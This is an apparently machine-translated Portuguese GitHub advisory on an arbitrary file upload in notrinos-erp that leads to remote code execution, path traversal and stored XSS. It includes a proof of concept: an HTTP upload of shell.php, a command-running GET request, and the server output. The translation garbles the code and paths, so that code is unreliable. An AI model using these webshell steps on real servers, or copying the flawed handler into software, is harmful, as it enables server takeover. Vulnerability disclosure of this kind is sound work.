#### Resumo Um usuário autenticado com a permissão de HR "Gestão de funcionários" (`SA_EMPLOYEE`) pode enviar um arquivo com uma extensão arbitrária através da aba do empregado **Documentos**. O manipulador escreve o nome de arquivo bruto fornecido pelo cliente — extensão intacta — em um diretório web servido sem extensão, MIME ou validação de conteúdo, de modo que um arquivo `.php` é armazenado sob a raiz da web e executa como código, produzindo execução de código remoto no servidor. #### Detalhes O ramo de carregamento de documentos em `hrm/manage/employees.php` (função `tab_documents()`) move o arquivo carregado usando o nome do arquivo do cliente literal: ``` php // hrm/manage/ employees.php -> tab_documents() (líneas de cabeça) 597 - 602; liberação 1.0.0 linhas 568 - 573 ) $upload_dir = company_path(). '/ documentos/empregados'; se (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']]; se (!move_uploaded_file($_file['doc_file']]], $file_path) {... } ````.
Há a extensão ** no** allow- list, `getimagesize()`, verificação MIME ou inspeção de conteúdo neste caminho. Contraste isso com a foto de perfil (`pic`) carregada no *melhor arquivo*, que valida o tipo de imagem/extensão/ tamanho, e com o núcleo `includes/ui/accachment.inc`, que deliberadamente gera um nome sem extensão aleatório (`uniqid()`) com um aviso de comentários de que os nomes de arquivos de clientes nunca devem ser confiados. O manipulador de documentos ignora o padrão de segurança estabelecido. A readaptação do arquivo escrito: - `company_path()` resolve- se sob a raiz da web; `config. default.php` define `$comp_path = $path_ to_ root. '/ company'`, então carrega terra em `company/ 0 /documents/empregados/`. - O único `.htaccess` no projeto é o repo-root, que nega `.inc/.po/.sh/.pem/.sql/.log` apenas — ele faz **não** bloqueio `.php` e **não** cobre `empresa/`. - O caminho armazenado é então ecoado **não- descartado** para um link "View" clicável (`hrm/includes/ui/empregado_ui.inc` linhas 153 - 154 — `file_path` concatenado diretamente em `href`, entregando ao atacante a URL exata da shell (e criando um lavatório secundário armazenado- XSS, CWE- 79 ). Um `nome de arquivo` multiparte criado que contém `../` adicionalmente permite o percurso transversal (CWE- 22 ) em PHP compila que não nome base `['nome']`.
#### Prova do conceito O upload é fechado por autenticação e CSRF, mas **não por um lado ou outro do arquivo em si**. Prerequisitos: uma sessão autenticada com `SA_ EMPLOYEE`; um funcionário existente (`empleee_no`); um `doc_type_id` válido; e o token CSRF da sessão. O campo CSRF é **`_token`** (validado por `check_csrf_token()` contra `$_SESSION['csrf_token']`), então primeiro obtém o formulário de documentos para ler o `_token' oculto, e depois submete- lo. Contra a sua instância local **own**: ```http POST /hrm/manage/employees.php?employee_no= 1 &_ tabs_sel= tab_ documents HTTP/ 1.1 Host: Cookie: Tipo de conteúdo: multiparte/form- data; contorno=b --b Disposição de conteúdo: form- data; name="_token". --b Disposição de conteúdo: form- data; name="doc_type_id".
--b Disposição de conteúdo: form- data; name="doc_name". x --b Disposição de Conteúdo: form- data; name="doc_file"; filename="shell.php" Tipo de Conteúdo: aplicativo/x-php Sistema --b Disposição de conteúdo: form- data; name="save_document". Salvar o Documento -- b-- ``` Em seguida, solicite o arquivo armazenado (o seu caminho exato é mostrado na aba Documentos do link "Visualizar"):.
```http GET / empresa/ 0 /documents/ empregados/ 1 _ _shell.php?c=id HTTP/ 1.1 ``` O comando em ` c` executa no servidor. #### Validação (realizada localmente, sem rede) O mecanismo de execução de código foi confirmado em um hospedeiro local (PHP) 8.5 ). Um arnês que executa a lógica de caminho/ movimento do ** verbatim** do manipulador escreveu `company/ 0 /documents/ empregados/ 1 _ _shell.php` (extensão `.php` do atacante- escolhido, sem validação aplicada), e solicitando- a através de um servidor web PHP enraizado no diretório do aplicativo executou a carga útil:.
``` $ curl '.../ empresa/ 0 /documents/ empregados/ 1 _ 1783671979 _shell.php?c=id' uid= 501 (...) gid= 20 (staff)... $ curl '.../ .php?c=uname% 20 - sm; whoami' Braço Darwin 64 `` Caveats: ( 1 ) o arnês usado `copy()` no lugar de `move_uploaded_file()` porque um processo CLI não tem um arquivo temporário multiparte real — o gerenciamento do nome do cliente e a ausência de qualquer validação são idênticas à produção (`poc/rce_demo.php`); ( 2 ) O servidor integrado do PHP executa o arquivo por caminho, e uma implantação padrão do Apache/mod_php ou Nginx+PHP-FPM se comporta do mesmo modo, porque o repositório `.htaccess` não bloqueia `.php` e não cobre `company/'. O fluxo HTTP completo requer adicionalmente os pré-requisitos de auth + `_token` + `doc_type_id` acima, nenhum dos quais inspeciona o arquivo.
#### Impacta a execução de código remoto no servidor de hospedagem por qualquer operador autenticado que tenha o papel delegado `SA_EMPLOYEE` (não necessariamente um administrador). Se uma implantação conceder `SA_EMPLOIEE` apenas aos administradores, trate os privilégios-necessários como Altos (CVSS ї 7.2 ). #### Correção sugerida - Nunca use o nome do arquivo do cliente no disco. Armazene com um nome gerado pelo servidor e ** nenhum extensão executável** (mirror `include/ui/atachment.inc` a abordagem `uniqid()` de `uniqid'); mantenha o nome original apenas como um rótulo DB. - Exerça uma lista de extensões de documentos/tipos MIME e um tampão de tamanho, exatamente como o ramo `pic` já faz. - Armazene uploads fora da raiz da web, ou solte um `.htaccess`/`web.config` em `company/*/documents/` que desativa a execução do script (`php_admin_flag engine off`, `removeHandler.php`, `SetHandler nole`). - `htmlchars()` o caminho armazenado antes de emitir o link "View" (fixa o XSS secundário).
### Recursos / crédito - Código afetado: `hrm/manage/ employees.php`, `hrm/includes/db/ employee_ document_ db.inc`, `hrm/ incorpores/ui/ employee_ui.inc`. - Relatório de: **<Kasper Hong / Kasper Builds& gt;**. Registro de aconselhamento: GHSA-qv 4 m- m 73 m- 8 hj 7. Não há nenhum identificador adicional listado.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 10 T 19: 34: 03.000 Z e lista a sua última modificação como 2026 - 07 - 10 T 19: 34: 03.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
Software afetado e informações de versão: Pacote Packagist notrinos/notrinos-erp — ECOSYSTEM: introduzido 0, última afetada 1.0.0. Classificação e evidência: identificadores de fraqueza CWE- 22, CWE- 434. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.